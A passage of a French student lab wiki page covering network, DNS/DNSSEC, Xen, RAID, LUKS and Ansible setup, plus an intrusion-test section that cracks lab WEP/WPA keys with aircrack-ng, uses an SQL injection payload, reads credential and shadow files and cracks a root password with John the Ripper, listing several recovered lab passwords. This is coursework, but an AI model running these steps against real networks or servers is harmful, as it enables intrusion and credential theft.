TP sysres IMA5 2021/2022 G7 : Différence entre versions
(→OPSF) |
(→FireWall) |
||
(58 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 2 : | Ligne 2 : | ||
= PRA 2021-2022 Arthur Vercaemst - Johnny Gouvaert = | = PRA 2021-2022 Arthur Vercaemst - Johnny Gouvaert = | ||
− | == | + | == Architecture réseau == |
− | == | + | export http_proxy=http://proxy.plil.fr:3128 |
+ | export https_proxy=https://proxy.plil.fr:3128 | ||
=== Configuration IPV4 === | === Configuration IPV4 === | ||
Ligne 65 : | Ligne 66 : | ||
network 192.168.222.8 0.0.0.7 area 2 | network 192.168.222.8 0.0.0.7 area 2 | ||
− | == | + | == Installation des systèmes d’exploitation == |
+ | === Installation dans la machine virtuelle Xen === | ||
Après problème dû au l'utilisation de la commande su au lieux de su - nous avons créé notre image de notre VM | Après problème dû au l'utilisation de la commande su au lieux de su - nous avons créé notre image de notre VM | ||
Ligne 122 : | Ligne 124 : | ||
xvda3 202:3 0 10G 0 disk /home | xvda3 202:3 0 10G 0 disk /home | ||
xvda4 202:4 0 10G 0 disk /var | xvda4 202:4 0 10G 0 disk /var | ||
+ | |||
+ | sur le serveur nous pouvons vérifier que notre machine existe : | ||
+ | xen-list-images | grep Name: %nom de la vm% | ||
+ | lsblk | grep %nom de la vm% | ||
+ | et finalement pour lister les machines en fonctionnement | ||
+ | xen list | ||
+ | |||
+ | On peut ensuite se connecter à la machine | ||
+ | xen console Anosteke | ||
+ | |||
+ | On en profite pour ajouter un nouvel utilisateur | ||
+ | sudo adduser pifou | ||
+ | |||
+ | Et installer les paquets | ||
+ | apt-get update | ||
+ | apt-get upgrade | ||
+ | |||
+ | == Services Internet == | ||
+ | === Serveur SSH === | ||
+ | On vérifie que OpenSSH est installé | ||
+ | ssh -V | ||
+ | |||
+ | Si il ne l'est pas on l'install. | ||
+ | sudo apt install openssh-server | ||
+ | |||
+ | Pour lancer et arreter le service SSH : | ||
+ | sudo service ssh stop | ||
+ | sudo service ssh start | ||
+ | |||
+ | Pour desactiver le service : | ||
+ | sudo systemctl disable ssh | ||
+ | |||
+ | Pour connaitre l'état du service : | ||
+ | sudo systemctl status ssh | ||
+ | |||
+ | Il faut ensuite configurer ssh dans le fichier etc/ssh/sshd_config | ||
+ | /etc/ssh | ||
+ | ├── ssh_config | ||
+ | ├── sshd_config | ||
+ | ├── ssh_host_rsa_key | ||
+ | └── ssh_host_rsa_key.pub | ||
+ | |||
+ | Dans ce fichier on modifie les paramètres suivants : | ||
+ | Port 22 | ||
+ | LogLevel VERBOSE | ||
+ | PermitRootLogin no | ||
+ | Banner /etc/ssh/banner | ||
+ | |||
+ | On redemarre ensuite le service SSH | ||
+ | systemctl reaload ssh.service | ||
+ | |||
+ | === Serveur DNS === | ||
+ | On associe notre IP au nom de domaine depuis l'interface du fournisseur Gandi.Net | ||
+ | |||
+ | On install : | ||
+ | apt-get install bind9 | ||
+ | On peut aussi installer le paquet dsnutils pour débugger le service DNS | ||
+ | |||
+ | Configuration du fichier /etc/bind/named.conf.options | ||
+ | listen-on {any;}; | ||
+ | //allow-recursion {localhost;}; | ||
+ | |||
+ | On configure ensuite le bind de notre nom de domaine. | ||
+ | /etc/bind/db.anosteke59.site | ||
+ | $TTL 3600 | ||
+ | @ IN SOA ( | ||
+ | ns.anosteke.site. | ||
+ | ns6.gandi.net. | ||
+ | 2; | ||
+ | 3600; | ||
+ | 3600; | ||
+ | 3600; | ||
+ | 3600; | ||
+ | ) | ||
+ | |||
+ | IN NS ns6.gandi.net. | ||
+ | www IN A 193.48.57.182 | ||
+ | ns IN CNAME www | ||
+ | |||
+ | |||
+ | On vérifie que la configuration est cohérente à l'aide de | ||
+ | named-checkzone anosteke59.site /etc/bind/db.anosteke59.site | ||
+ | |||
+ | On vérifie ensuite que le DNS fonctionne avec NSLOOKUP (Installer dnsutils sur la vm) | ||
+ | nslookup anosteke59.site | ||
+ | dig anosteke59.site | ||
+ | |||
+ | === Sécurisation de site par certificat === | ||
+ | On crée une demande de certificat avec la commande : | ||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout anosteke59.key -out server.csr | ||
+ | |||
+ | le fichier CSR doit alors être envoyé à gandi pour créer notre certificat. | ||
+ | Pour lancer la création de notre certificat on doit ajouter une entrée dans notre zone DNS. On attends ensuite le retour du certificat de gandi. | ||
+ | |||
+ | === Sécurisation de serveur DNS par DNSSEC === | ||
+ | |||
+ | On ajoute à notre fichier named.conf.options les paramètres suivants : | ||
+ | |||
+ | dnssec-enable yes; //Activer le dnssec, même si déprécié sur notre version | ||
+ | dnssec-validation yes; //FOrcer le dnssec | ||
+ | |||
+ | On génère ensuite nos clés, dans un fichier connus | ||
+ | |||
+ | cd /etc/bind/master | ||
+ | dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE anosteke59.site | ||
+ | //Kanosteke59.site.+007+15849 | ||
+ | dnssec-keygen -f KSK -a NSEC3RSASHA1 -b 4096 -n ZONE anosteke59.site | ||
+ | //Kanosteke59.site.+007+60636 | ||
+ | |||
+ | ici on crée une clé pour du SHA-1 | ||
+ | ON peut ensuite renommer les fichiers | ||
+ | |||
+ | mv Kanosteke59.site.+007+60636.key Kanosteke59.site.ksk.key | ||
+ | mv Kanosteke59.site.+007+60636.private Kanosteke59.site.ksk.private | ||
+ | mv Kanosteke59.site.+007+15849.key Kanosteke59.site.zsk.key | ||
+ | mv Kanosteke59.site.+007+15849.private Kanosteke59.site.zsk.private | ||
+ | |||
+ | On ajoute dans la fin de définition du domaine : | ||
+ | |||
+ | $TTL 3600 | ||
+ | |||
+ | ... | ||
+ | |||
+ | $INCLUDE Kanosteke59.site.zsk.key | ||
+ | $INCLUDE Kanosteke59.site.ksk.key | ||
+ | |||
+ | On signe maintenant nos fichier de définition | ||
+ | dnssec-signzone -o anosteke59.site -k Kanosteke59.site.ksk anosteke59.site Kanosteke59.site.zsk | ||
+ | |||
+ | On modifie ensuite notre fichier '/etc/bind/named.conf.options' pour pointer sur ce nouveau fichier signé | ||
+ | zone "anosteke59.site" { | ||
+ | type master; | ||
+ | file "/etc/bind/master/anosteke59.site.signed"; | ||
+ | notify yes; | ||
+ | }; | ||
+ | |||
+ | j'ai vérifié la config final avec : https://dnssec-analyzer.verisignlabs.com/anosteke59.site | ||
+ | |||
+ | == Réalisation == | ||
+ | === Sécurisation de données === | ||
+ | Sur le serveur Xen, on créer nos volumes. | ||
+ | lvcreate -L1G -nAnosteke-raid-1 storage | ||
+ | lvcreate -L1G -nAnosteke-raid-2 storage | ||
+ | lvcreate -L1G -nAnosteke-raid-3 storage | ||
+ | |||
+ | Qu'on ajoute à la configuration de notre VM | ||
+ | 'phy:/dev/storage/Anosteke-raid-1,xvdb1,w', | ||
+ | 'phy:/dev/storage/Anosteke-raid-2,xvdb2,w', | ||
+ | 'phy:/dev/storage/Anosteke-raid-3,xvdb3,w' | ||
+ | |||
+ | Après un rédémarrage de la VM on execute | ||
+ | |||
+ | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3 | ||
+ | |||
+ | On formate la partition: | ||
+ | |||
+ | mkfs.ext4 /dev/md0 | ||
+ | |||
+ | On l'ajoute au fichier /etc/fstab pour qu'il soit monté à chaque démarrage de la vm : | ||
+ | |||
+ | /dev/md0 /media/raid ext4 defaults 0 1 | ||
+ | |||
+ | et on valide les modifications: | ||
+ | |||
+ | mount -a | ||
+ | |||
+ | === Chiffrement de données === | ||
+ | |||
+ | Pour démarrer, nous formatons la clé : | ||
+ | mkfs.ext4 /dev/sdb | ||
+ | |||
+ | A l'aide de ''cryptsetup'', nous initialisons la clé USB avec l'option luksFormat et choisissons un mot de passe : | ||
+ | cryptsetup luksFormat /dev/sdb | ||
+ | |||
+ | Nous ouvrons ensuite notre partition chiffrée et créons le nom du volume : crypte | ||
+ | cryptsetup luksOpen /dev/sdb crypte | ||
+ | Puis nous le formatons | ||
+ | mkfs.ext4 /dev/mapper/crypte | ||
+ | |||
+ | Nous montons ensuite la partition afin d'y ajouter un fichier test : | ||
+ | mkdir /mnt/cryptUSB | ||
+ | mount -t ext4 /dev/mapper/crypte /mnt/cryptUSB/ | ||
+ | |||
+ | Nous créons ce fichier test.txt en y inscrivant "BONJOUR MONDE !" : | ||
+ | nano /mnt/cryptUSB/test.txt | ||
+ | |||
+ | Enfin, nous démontons et fermons le volume chiffré : | ||
+ | umount /mnt/cryptUSB | ||
+ | cryptsetup luksClose crypte | ||
+ | |||
+ | Afin de vérifier le cryptage de la clé, nous le mettons sur un autre PC. On se rend compte que le mot de passe est obligatoire pour accéder aux fichiers | ||
+ | |||
+ | == Tests d’intrusion == | ||
+ | |||
+ | === WEP === | ||
+ | On commence par casser la clé WEP. | ||
+ | |||
+ | airmon-ng | ||
+ | |||
+ | puis on lance | ||
+ | |||
+ | airmon-ng start wlan0mon 4 | ||
+ | |||
+ | 3 représente la channel utilisée par l'ap (ici 3) | ||
+ | |||
+ | Notre interface est renommée 'wlan0mon'. | ||
+ | Pour visualiser les paquets sniffés, on execute alors | ||
+ | |||
+ | airodump-ng -c 4 wlan0mon | ||
+ | |||
+ | On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte07 dont le BSSID est 04:DA:D2:9C:50:56 On lance alors la commande : | ||
+ | |||
+ | airodump-ng -w dump -c 4 --bssid 04:DA:D2:9C:50:56 wlan0mon | ||
+ | |||
+ | Après quelques minutes, on execute : | ||
+ | |||
+ | aircrack-ng dump*.cap | ||
+ | |||
+ | Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée. | ||
+ | Notre clé est : 55:55:55:55:5A:BC:08:CB:A4:44:44:44:44 | ||
+ | |||
+ | === WPA === | ||
+ | |||
+ | On casse à présent la clé WPA. On scanne la bande de fréquence 9 : | ||
+ | |||
+ | airodump-ng -c 9 wlan0mon | ||
+ | |||
+ | On récupère le BSSID de kracotte07 : 44:AD:D9:5F:87:03 On récupère ensuite des handshakes avec la commande : | ||
+ | |||
+ | airodump-ng -c 9 --bssid 44:AD:D9:5F:87:03 -w dumpWPA wlan0mon | ||
+ | |||
+ | On utilise ensuite crunch pour générer la liste des mots de passe de 8 chiffres que l'on utilisera pour cracker la clé : | ||
+ | |||
+ | crunch 8 8 0123456789 -o password.lst | ||
+ | |||
+ | Enfin, on lance la commande : | ||
+ | |||
+ | aircrack-ng -w password.lst -b 44:AD:D9:5F:87:03 dumpWPA.cap | ||
+ | |||
+ | Le processus peut prendre plusieurs heures. On obtient le mot de passe suivant : 59904999 | ||
+ | |||
+ | === Intrusion sur un serveur d’application Web === | ||
+ | |||
+ | Dans un premier temps, nous réalisons une injection sql afin de récupérer la liste de tous les utilisateurs du site honey.plil.info. Nous choisissons comme utilisateur "' or 1=1; --" | ||
+ | |||
+ | Nous nous connectons avec le compte administrateur. Dans un des fichiers, nous trouvons des allusions à PHPMyAdmin. | ||
+ | De là, 3 menus, dont 2 sont intéressants. Dans l'onglet ''gestion des manuels'', on peut ajouter un fichier depuis le serveur.<br/> | ||
+ | Ainsi, nous avons ajouté le fichier /etc/phpmyadmin/config-db.php.<br/> | ||
+ | |||
+ | Depuis la page ''Recherche d'un manuel'', nous avons pû télécharger ce fichier, qui nous a indiqué le mot de passe du compte phpmyadmin : '''gencovid19'''.<br/> | ||
+ | |||
+ | 2. PHPMyAdmin | ||
+ | |||
+ | Nous avons donc ouvert l'URL http://honey.plil.info/phpmyadmin dans un navigateur, et nous nous connectons avec le compte root:gencovid19 | ||
+ | Dans PHPMyAdmin, nous trouvons un DB test avec des identifiants : rex:plainpassword | ||
+ | |||
+ | 3. Récupération de fichiers avec l'user rex | ||
+ | |||
+ | Nous avons donc réussi à nous connecter en SSH au serveur, et nous avons récupéré les fichiers /etc/passwd et /etc/shadow.<br/> | ||
+ | Nous avons lancé la commande : | ||
+ | unshadow /etc/passwd /etc/shadow | head -1 > mdp | ||
+ | Nous avons obtenu un fichier avec le mot de passe root haché. | ||
+ | |||
+ | 5. Decryptage du mot de passe root avec John the Ripper | ||
+ | |||
+ | Pour casser le mot de passe, nous avons utilisé John the Ripper. Nous nous sommes aidé des indications : "mot de passe présentant les mêmes caractéristiques que le mot de passe root habituel".<br/> | ||
+ | Nous avons créé un dictionnaire de mots de 4 lettres : | ||
+ | crunch 4 4 abcdefghijklmnopqrstuvwxyz > dict | ||
+ | |||
+ | Pour obtenir des mots de 8 lettres (en duplicant les mots de 4 lettres), nous avons utilisé sed : | ||
+ | sed -i 's/\(.*\)/\1\1/' | ||
+ | La dernière étape consistait à lancer JtR : | ||
+ | john -w:dict mdp | ||
+ | Après 5 minutes d'attente, le mot de passe vu cracké.<br/> | ||
+ | Avec la commande : | ||
+ | john --show mdp | ||
+ | On obtient le mot de passe : '''fortfort'''. | ||
+ | |||
+ | = ASR = | ||
+ | |||
+ | xl create -c PRA-07.cfg | ||
+ | |||
+ | xen console PRA-07 | ||
+ | |||
+ | on ajoute dans /etc/network/interfaces : | ||
+ | iface eth0 inet static | ||
+ | address 172.26.145.107/24 | ||
+ | gateway 172.26.145.254 | ||
+ | |||
+ | Et on commente relatif au DHCP | ||
+ | on édite /etc/ssh/sshd_config : | ||
+ | PermitRootLogin yes | ||
+ | |||
+ | on copie la clé publique de la zabeth dans /root/.ssh/authorized_key | ||
+ | |||
+ | on install puthon3-venv sur la zabeth : | ||
+ | apt install python3-venv | ||
+ | |||
+ | on install ansible sur les zabeth : | ||
+ | python3 -m venv ~/env-ansible | ||
+ | . ~/env-ansible/bin/activate | ||
+ | pip3 install -U setuptools wheel | ||
+ | pip3 install -U ansible | ||
+ | |||
+ | On édite le fichier inventory de ansible : | ||
+ | ASR-07 ansible_ssh_host="172.26.145.107" | ||
+ | |||
+ | Passons maintenant à la configuration de ansible : | ||
+ | === Ansible === | ||
+ | ==== Debian ==== | ||
+ | On modifie la tache main.yml du role de base pour modifier la source de sécurité des paquets | ||
+ | |||
+ | tache | ||
+ | - name: "Fix BullsEye" | ||
+ | copy: | ||
+ | src: "{{ role_path }}/files/sources.list" | ||
+ | dest: /etc/apt/ | ||
+ | |||
+ | sources.list | ||
+ | deb http://deb.debian.org/debian bullseye main contrib non-free | ||
+ | deb-src http://deb.debian.org/debian bullseye main contrib non-free | ||
+ | deb http://security.debian.org/debian-security bullseye-security main contrib non-free | ||
+ | |||
+ | ==== SSH KEYS ==== | ||
+ | |||
+ | On créer un fichier Jinja2 pour récupérer les clés ssh de notre fichier group_vers/all.yaml | ||
+ | {% for key in ssh_keys %} | ||
+ | {{key["key"]}} | ||
+ | {% endfor %} | ||
+ | |||
+ | |||
+ | puis on enregistre notre configuration yaml | ||
+ | |||
+ | - name: "Add ssh file" | ||
+ | file: | ||
+ | path: /root/.ssh/authorized_keys | ||
+ | state: touch | ||
+ | - name: "Add ssh key" | ||
+ | template: | ||
+ | src: ssh.j2 | ||
+ | dest: /root/.ssh/authorized_keys | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: "0600" | ||
+ | |||
+ | ==== Docker ==== | ||
+ | |||
+ | On télécharge le role docker en ajoutant dans polytech.yaml | ||
+ | |||
+ | - role: geerlingguy.docker | ||
+ | tags: docker | ||
+ | |||
+ | ==== FireWall ==== | ||
+ | |||
+ | On bloque les ports en TCP et UDP : | ||
+ | --- | ||
+ | - name: "Block TCP" | ||
+ | ansible.builtin.iptables: | ||
+ | chain: INPUT | ||
+ | source_port: "{{ item }}" | ||
+ | protocol: tcp | ||
+ | match: tcp | ||
+ | jump: DROP | ||
+ | become: yes | ||
+ | with_items: | ||
+ | - "8600" | ||
+ | - "8500" | ||
+ | - "8501" | ||
+ | - "8502" | ||
+ | - "8300" | ||
+ | - "8301" | ||
+ | - "8302" | ||
+ | - name: "Block UDP" | ||
+ | ansible.builtin.iptables: | ||
+ | chain: INPUT | ||
+ | source_port: "{{ item }}" | ||
+ | protocol: udp | ||
+ | match: udp | ||
+ | jump: DROP | ||
+ | become: yes | ||
+ | with_items: | ||
+ | - "8600" | ||
+ | - "8301" | ||
+ | - "8302" | ||
+ | |||
+ | === Consul === |
Version actuelle datée du 12 janvier 2022 à 12:27
Sommaire
PRA 2021-2022 Arthur Vercaemst - Johnny Gouvaert
Architecture réseau
export http_proxy=http://proxy.plil.fr:3128 export https_proxy=https://proxy.plil.fr:3128
Configuration IPV4
Paramétrage des VLANs
9200 Nous avons pris la tache de configurer le routeur cisco 9200 de la salle E-306
Dans un premier temps, nous avons créé le VLAN 42. Ce VLAN permet l'accès au routeur 9200 depuis les VMs Il est donc connecté au port TenGigabitethernet1/1/2 (10G) sur lequel est branchée un fibre venant du serveur capbreton.
enable conf t vlan 42 exit int vlan 42 no shut ip address 193.48.57.188 255.255.255.192 ipv6 enable ipv6 address 2001:7A8:116E:60B0::F1/64 eui-64 exit int TenGigabitethernet1/1/2 no shut switchport mode access switchport access vlan 42 exit exit write
Ensuite, nous avons créé et configuré le VLAN 531. Ce vlan est relié par fibre au routeur de l'ecole pour l'accès internet
enable conf t vlan 531 exit int vlan 531 no shut ip address 192.168.222.42 255.255.255.248 exit int TenGigabitethernet1/1/1 no shut switchport mode access switchport access vlan 531 exit exit write
OPSF
OSPF (Open Shortest Path First) à chaque routeur de partager sa connaissance de la topologie du réseau, de cette manière on rends possible un routage plus dynamique sur notre infrastructure.
router ospf 1 router-id 10.00.0.1 log-adjacency-changes summary-address 193.48.57.176 255.255.255.240 summary-address 100.64.0.0 255.240.0.0 not-advertise summary-address 10.0.0.0 255.0.0.0 not-advertise redistribute connected subnets redistribute static subnets network 192.168.222.8 0.0.0.7 area 2
Installation des systèmes d’exploitation
Installation dans la machine virtuelle Xen
Après problème dû au l'utilisation de la commande su au lieux de su - nous avons créé notre image de notre VM
xen-create-image --hostname=Anosteke --ip=193.48.57.182 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye
Nous créons ensuite les 2 disques virtuels
lvcreate -L10G -n Anosteke1 storage lvcreate -L10G -n Anosteke2 storage
Puis nous les formatons
mkfs.ext4 /dev/storage/Anosteke1 mkfs.ext4 /dev/storage/Anosteke2
Nous ajoutons les 2 disques au fichier de configuration de notre VM
nano /etc/xen/Anosteke.cfg disk = [ 'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w', 'phy:/dev/storage/Anosteke1,xvda3,w', 'phy:/dev/storage/Anosteke2,xvda4,w' ] vif = [ 'ip=193.48.57.182 ,mac=00:16:3E:AA:F5:2B ,bridge=IMA5sc' ]
On peut ensuite démarrer notre VM
xl create -c /etc/xen/AnosTeke.cfg
Pour enfin configurer nos espaces disque, en commençant par créer et monter nos espaces
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4 mv /var/* /mnt/xvda4
Pour finaliser le montage des espaces, on modifie le fichier /etc/fstab pour y ajouter nos emplacements
/dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2
On les configure DUMP disabled et Fsck 2. On peut finalement lancer le MOUNT
mount -a
et vérifier la bonne execution
lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
sur le serveur nous pouvons vérifier que notre machine existe :
xen-list-images | grep Name: %nom de la vm% lsblk | grep %nom de la vm%
et finalement pour lister les machines en fonctionnement
xen list
On peut ensuite se connecter à la machine
xen console Anosteke
On en profite pour ajouter un nouvel utilisateur
sudo adduser pifou
Et installer les paquets
apt-get update apt-get upgrade
Services Internet
Serveur SSH
On vérifie que OpenSSH est installé
ssh -V
Si il ne l'est pas on l'install.
sudo apt install openssh-server
Pour lancer et arreter le service SSH :
sudo service ssh stop sudo service ssh start
Pour desactiver le service :
sudo systemctl disable ssh
Pour connaitre l'état du service :
sudo systemctl status ssh
Il faut ensuite configurer ssh dans le fichier etc/ssh/sshd_config
/etc/ssh ├── ssh_config ├── sshd_config ├── ssh_host_rsa_key └── ssh_host_rsa_key.pub
Dans ce fichier on modifie les paramètres suivants :
Port 22 LogLevel VERBOSE PermitRootLogin no Banner /etc/ssh/banner
On redemarre ensuite le service SSH
systemctl reaload ssh.service
Serveur DNS
On associe notre IP au nom de domaine depuis l'interface du fournisseur Gandi.Net
On install :
apt-get install bind9
On peut aussi installer le paquet dsnutils pour débugger le service DNS
Configuration du fichier /etc/bind/named.conf.options
listen-on {any;}; //allow-recursion {localhost;};
On configure ensuite le bind de notre nom de domaine.
/etc/bind/db.anosteke59.site $TTL 3600 @ IN SOA ( ns.anosteke.site. ns6.gandi.net. 2; 3600; 3600; 3600; 3600; )
IN NS ns6.gandi.net. www IN A 193.48.57.182 ns IN CNAME www
On vérifie que la configuration est cohérente à l'aide de
named-checkzone anosteke59.site /etc/bind/db.anosteke59.site
On vérifie ensuite que le DNS fonctionne avec NSLOOKUP (Installer dnsutils sur la vm)
nslookup anosteke59.site dig anosteke59.site
Sécurisation de site par certificat
On crée une demande de certificat avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout anosteke59.key -out server.csr
le fichier CSR doit alors être envoyé à gandi pour créer notre certificat. Pour lancer la création de notre certificat on doit ajouter une entrée dans notre zone DNS. On attends ensuite le retour du certificat de gandi.
Sécurisation de serveur DNS par DNSSEC
On ajoute à notre fichier named.conf.options les paramètres suivants :
dnssec-enable yes; //Activer le dnssec, même si déprécié sur notre version dnssec-validation yes; //FOrcer le dnssec
On génère ensuite nos clés, dans un fichier connus
cd /etc/bind/master dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE anosteke59.site //Kanosteke59.site.+007+15849 dnssec-keygen -f KSK -a NSEC3RSASHA1 -b 4096 -n ZONE anosteke59.site //Kanosteke59.site.+007+60636
ici on crée une clé pour du SHA-1 ON peut ensuite renommer les fichiers
mv Kanosteke59.site.+007+60636.key Kanosteke59.site.ksk.key mv Kanosteke59.site.+007+60636.private Kanosteke59.site.ksk.private mv Kanosteke59.site.+007+15849.key Kanosteke59.site.zsk.key mv Kanosteke59.site.+007+15849.private Kanosteke59.site.zsk.private
On ajoute dans la fin de définition du domaine :
$TTL 3600 ... $INCLUDE Kanosteke59.site.zsk.key $INCLUDE Kanosteke59.site.ksk.key
On signe maintenant nos fichier de définition
dnssec-signzone -o anosteke59.site -k Kanosteke59.site.ksk anosteke59.site Kanosteke59.site.zsk
On modifie ensuite notre fichier '/etc/bind/named.conf.options' pour pointer sur ce nouveau fichier signé
zone "anosteke59.site" { type master; file "/etc/bind/master/anosteke59.site.signed"; notify yes; };
j'ai vérifié la config final avec : https://dnssec-analyzer.verisignlabs.com/anosteke59.site
Réalisation
Sécurisation de données
Sur le serveur Xen, on créer nos volumes.
lvcreate -L1G -nAnosteke-raid-1 storage lvcreate -L1G -nAnosteke-raid-2 storage lvcreate -L1G -nAnosteke-raid-3 storage
Qu'on ajoute à la configuration de notre VM
'phy:/dev/storage/Anosteke-raid-1,xvdb1,w', 'phy:/dev/storage/Anosteke-raid-2,xvdb2,w', 'phy:/dev/storage/Anosteke-raid-3,xvdb3,w'
Après un rédémarrage de la VM on execute
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3
On formate la partition:
mkfs.ext4 /dev/md0
On l'ajoute au fichier /etc/fstab pour qu'il soit monté à chaque démarrage de la vm :
/dev/md0 /media/raid ext4 defaults 0 1
et on valide les modifications:
mount -a
Chiffrement de données
Pour démarrer, nous formatons la clé :
mkfs.ext4 /dev/sdb
A l'aide de cryptsetup, nous initialisons la clé USB avec l'option luksFormat et choisissons un mot de passe :
cryptsetup luksFormat /dev/sdb
Nous ouvrons ensuite notre partition chiffrée et créons le nom du volume : crypte
cryptsetup luksOpen /dev/sdb crypte
Puis nous le formatons
mkfs.ext4 /dev/mapper/crypte
Nous montons ensuite la partition afin d'y ajouter un fichier test :
mkdir /mnt/cryptUSB mount -t ext4 /dev/mapper/crypte /mnt/cryptUSB/
Nous créons ce fichier test.txt en y inscrivant "BONJOUR MONDE !" :
nano /mnt/cryptUSB/test.txt
Enfin, nous démontons et fermons le volume chiffré :
umount /mnt/cryptUSB cryptsetup luksClose crypte
Afin de vérifier le cryptage de la clé, nous le mettons sur un autre PC. On se rend compte que le mot de passe est obligatoire pour accéder aux fichiers
Tests d’intrusion
WEP
On commence par casser la clé WEP.
airmon-ng
puis on lance
airmon-ng start wlan0mon 4
3 représente la channel utilisée par l'ap (ici 3)
Notre interface est renommée 'wlan0mon'. Pour visualiser les paquets sniffés, on execute alors
airodump-ng -c 4 wlan0mon
On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte07 dont le BSSID est 04:DA:D2:9C:50:56 On lance alors la commande :
airodump-ng -w dump -c 4 --bssid 04:DA:D2:9C:50:56 wlan0mon
Après quelques minutes, on execute :
aircrack-ng dump*.cap
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée. Notre clé est : 55:55:55:55:5A:BC:08:CB:A4:44:44:44:44
WPA
On casse à présent la clé WPA. On scanne la bande de fréquence 9 :
airodump-ng -c 9 wlan0mon
On récupère le BSSID de kracotte07 : 44:AD:D9:5F:87:03 On récupère ensuite des handshakes avec la commande :
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:03 -w dumpWPA wlan0mon
On utilise ensuite crunch pour générer la liste des mots de passe de 8 chiffres que l'on utilisera pour cracker la clé :
crunch 8 8 0123456789 -o password.lst
Enfin, on lance la commande :
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:03 dumpWPA.cap
Le processus peut prendre plusieurs heures. On obtient le mot de passe suivant : 59904999
Intrusion sur un serveur d’application Web
Dans un premier temps, nous réalisons une injection sql afin de récupérer la liste de tous les utilisateurs du site honey.plil.info. Nous choisissons comme utilisateur "' or 1=1; --"
Nous nous connectons avec le compte administrateur. Dans un des fichiers, nous trouvons des allusions à PHPMyAdmin.
De là, 3 menus, dont 2 sont intéressants. Dans l'onglet gestion des manuels, on peut ajouter un fichier depuis le serveur.
Ainsi, nous avons ajouté le fichier /etc/phpmyadmin/config-db.php.
Depuis la page Recherche d'un manuel, nous avons pû télécharger ce fichier, qui nous a indiqué le mot de passe du compte phpmyadmin : gencovid19.
2. PHPMyAdmin
Nous avons donc ouvert l'URL http://honey.plil.info/phpmyadmin dans un navigateur, et nous nous connectons avec le compte root:gencovid19 Dans PHPMyAdmin, nous trouvons un DB test avec des identifiants : rex:plainpassword
3. Récupération de fichiers avec l'user rex
Nous avons donc réussi à nous connecter en SSH au serveur, et nous avons récupéré les fichiers /etc/passwd et /etc/shadow.
Nous avons lancé la commande :
unshadow /etc/passwd /etc/shadow | head -1 > mdp
Nous avons obtenu un fichier avec le mot de passe root haché.
5. Decryptage du mot de passe root avec John the Ripper
Pour casser le mot de passe, nous avons utilisé John the Ripper. Nous nous sommes aidé des indications : "mot de passe présentant les mêmes caractéristiques que le mot de passe root habituel".
Nous avons créé un dictionnaire de mots de 4 lettres :
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dict
Pour obtenir des mots de 8 lettres (en duplicant les mots de 4 lettres), nous avons utilisé sed :
sed -i 's/\(.*\)/\1\1/'
La dernière étape consistait à lancer JtR :
john -w:dict mdp
Après 5 minutes d'attente, le mot de passe vu cracké.
Avec la commande :
john --show mdp
On obtient le mot de passe : fortfort.
ASR
xl create -c PRA-07.cfg
xen console PRA-07
on ajoute dans /etc/network/interfaces :
iface eth0 inet static address 172.26.145.107/24 gateway 172.26.145.254
Et on commente relatif au DHCP on édite /etc/ssh/sshd_config :
PermitRootLogin yes
on copie la clé publique de la zabeth dans /root/.ssh/authorized_key
on install puthon3-venv sur la zabeth :
apt install python3-venv
on install ansible sur les zabeth :
python3 -m venv ~/env-ansible . ~/env-ansible/bin/activate pip3 install -U setuptools wheel pip3 install -U ansible
On édite le fichier inventory de ansible :
ASR-07 ansible_ssh_host="172.26.145.107"
Passons maintenant à la configuration de ansible :
Ansible
Debian
On modifie la tache main.yml du role de base pour modifier la source de sécurité des paquets
tache
- name: "Fix BullsEye" copy: src: "Modèle:Role path/files/sources.list" dest: /etc/apt/
sources.list
deb http://deb.debian.org/debian bullseye main contrib non-free deb-src http://deb.debian.org/debian bullseye main contrib non-free deb http://security.debian.org/debian-security bullseye-security main contrib non-free
SSH KEYS
On créer un fichier Jinja2 pour récupérer les clés ssh de notre fichier group_vers/all.yaml
{% for key in ssh_keys %} {{key["key"]}} {% endfor %}
puis on enregistre notre configuration yaml
- name: "Add ssh file" file: path: /root/.ssh/authorized_keys state: touch - name: "Add ssh key" template: src: ssh.j2 dest: /root/.ssh/authorized_keys owner: root group: root mode: "0600"
Docker
On télécharge le role docker en ajoutant dans polytech.yaml
- role: geerlingguy.docker tags: docker
FireWall
On bloque les ports en TCP et UDP :
--- - name: "Block TCP" ansible.builtin.iptables: chain: INPUT source_port: "Modèle:Item" protocol: tcp match: tcp jump: DROP become: yes with_items: - "8600" - "8500" - "8501" - "8502" - "8300" - "8301" - "8302" - name: "Block UDP" ansible.builtin.iptables: chain: INPUT source_port: "Modèle:Item" protocol: udp match: udp jump: DROP become: yes with_items: - "8600" - "8301" - "8302"